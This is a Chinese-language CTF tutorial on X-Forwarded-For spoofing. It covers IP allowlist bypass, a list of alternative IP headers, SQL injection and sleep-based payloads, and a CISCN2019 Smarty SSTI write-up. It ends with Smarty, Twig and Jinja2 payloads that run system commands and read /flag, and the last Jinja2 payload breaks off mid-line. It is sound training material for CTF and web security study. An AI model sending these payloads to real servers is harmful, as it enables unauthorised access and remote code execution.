XFF伪造XFF 伪造是指攻击者通过修改 HTTP 请求头中的X-Forwarded-For字段来欺骗服务器伪装自己的真实 IP 地址从而达到绕过访问限制或进行 SQL 注入等攻击的目的。以下是关于 XFF 伪造的原理、在 CTF 中的常见考点以及具体的利用方式。1. 什么是 XFF (X-Forwarded-For)在正常的网络通信中如果客户端直接连接服务器服务器可以通过 TCP 连接直接获取客户端的 IP。但是如果中间经过了HTTP 代理或负载均衡服务器看到的“来源 IP”其实是代理服务器的 IP而不是客户端的真实 IP。为了解决这个问题HTTP 协议引入了X-Forwarded-For头部。标准格式HTTPX-Forwarded-For: client, proxy1, proxy2作用用来记录从客户端开始经过每一个代理服务器的 IP 链路。问题所在X-Forwarded-For仅仅是一个 HTTP 头部字段。它是完全可以被用户控制和篡改的。如果后端服务器没有进行严格的验证直接信任并使用了这个字段里的值就会产生安全漏洞。2. CTF 中的常见利用场景在 CTF 比赛中XFF 伪造通常出现在以下几种场景中A. 伪造 IP 绕过访问限制 (最基础)这是最常见的签到题或前置关卡。场景网页显示“Only localhost can access” (只允许本地访问) 或 “Only admin IP 8.8.8.8 allowed”。原理后端代码可能使用了类似request.headers[X-Forwarded-For]来判断用户 IP而不是获取真实的 Socket IP。利用 Payload使用 Burp Suite 或 Python 脚本在请求头中添加HTTPX-Forwarded-For: 127.0.0.1或者题目要求的特定 IPHTTPX-Forwarded-For: 8.8.8.8B. SQL 注入 (Header 注入)场景很多后台系统会将用户的访问 IP 记录到数据库日志中。原理后端逻辑可能是这样的INSERT INTO login_log (ip, time) VALUES ($ip, NOW())。如果$ip直接取自 XFF 头且未经过滤攻击者就可以构造恶意 SQL 语句。利用 PayloadHTTPX-Forwarded-For: 127.0.0.1 OR 11# X-Forwarded-For: 127.0.0.1 AND (SELECT sleep(5))#如果页面有延时或报错说明存在注入。C. SSTI (服务端模板注入)场景某些基于 Python (Flask/Django) 或 Node.js 的应用会将用户的 IP 显示在页面上例如“Welcome, your IP is [User-IP]”。原理如果服务器直接将 XFF 的内容渲染到模板中且没有过滤可以利用模板引擎语法执行代码。利用 Payload (以 Flask Jinja2 为例)HTTPX-Forwarded-For: {{7*7}}如果回显变成Welcome, your IP is 49则说明存在 SSTI 漏洞接着可以尝试 RCE远程代码执行。3. 常见的“IP 伪造”头部全家桶有时候题目会过滤X-Forwarded-For或者后端使用的是其他类似的非标准头部。在 CTF 中如果 XFF 不起作用你需要尝试以下兄弟头部建议保存这个列表在 CTF 遇到 IP 限制时逐个尝试或放入 Intruder 爆破X-Forwarded-For(最常用)X-Client-IPClient-IPX-Real-IPX-Originating-IPX-Remote-IPX-Remote-AddrTrue-Client-IP(常见于 CDN)4. 实战演示 (如何操作)假设你在做一个 CTF 题目提示“必须来自 Google 内部网络访问”。工具Burp Suite (推荐) 或 Curl。步骤抓包使用 Burp Suite 拦截当前的 HTTP 请求。发送到 Repeater将请求发送到 Repeater 模块CtrlR。修改头部在 Headers 区域手动添加一行。HTTPGET /admin HTTP/1.1 Host: example.com X-Forwarded-For: 127.0.0.1 ...发送并观察点击 Send观察 Response。如果依然被拦截尝试将 IP 改为localhost或题目提示的特定网段或者尝试上面提到的其他头部如Client-IP。使用 Curl 命令行Bashcurl -H X-Forwarded-For: 127.0.0.1 http://target-ctf-site.com5. 进阶 Tip多层代理有些题目会模拟真实环境后端可能配置了反向代理如 Nginx。Nginx 默认配置下X-Forwarded-For的格式是客户端IP, 代理1 IP, 代理2 IP。如果服务器取的是最左边的 IP你直接伪造即可。 但如果服务器配置了校验或者你自己在多层代理之后你可能需要构造HTTPX-Forwarded-For: 127.0.0.1, 真实外网IP有时候通过混淆格式也能绕过简陋的 WAF。6、[CISCN2019 华东南赛区]Web11这题有很明显的提示是要伪造xff发现最下面有个build with smarty那么明显是利用模板注入漏洞ssti来获取flag。考点1、Smarty的XFF注入2、全部的PHP条件表达式和函数都可在{if}中使用smarty模板注入沙箱相对较弱不需要像jinjia2和flask一样在python中寻找基类和子类很多时候可以直接调用PHP危险函数3、xff伪造X-Forwarded-For:{7*7}发现漏洞存在此处有个操作细节在构造完xff后记得向下多换一行X-Forwarded-For:{if system(ls /)}{/if}拓展smarty的模板注入相对简单假如把模板换成了Twig、flask大致思路如下1TwigTwig 也是 PHP 系的但它比 Smarty 严谨得多。不能直接调system()。探测特征输入{{7*7}}得到49。常用 Payload 在较老版本中可以利用_self对象获取环境并注册过滤器。但在新版本中常用的方法是利用filter{# 简单的 RCE #} {{[cat /flag]|filter(system)}} {# 或者利用 registerUndefinedFilterCallback (取决于版本) #} {{_self.env.registerUndefinedFilterCallback(system)}}{{_self.env.getFilter(cat /flag)}}特点虽然比 Smarty 复杂一点但依然不需要像 Python 那样找基类。2flask探测特征输入{{7*7}}得到49输入{{7*7}}得到7777777Python 特性。常用 Payload 由于是在X-Forwarded-For中注入Payload 不能有空格有时需要转义常见的寻找路径如下{# 寻找 os.popen 执行命令 #} {{config.__class__.__init__.__globals__[os].popen(cat /flag).read()}} {# 如果 config 被过滤用 url_for #} {{url_for.__globals__[os].popen(cat /flag).read()}} {# 如果极其严格需要 __subclasses__ 遍历 #} {{.__class__.__mro__[1].__subclasses__()[索引值].__init__.__globals__[os].popen(ls).r总结在 CTF 中当你看到“IP 禁止访问”、“只允许本地访问”或者页面回显了你的 IP 地址时第一时间就应该想到XFF 伪造。测试绕过添加X-Forwarded-For: 127.0.0.1。测试注入添加或者是{{7*7}}测试 SQLi 或 SSTI。字典爆破尝试Client-IP等其他同类头部。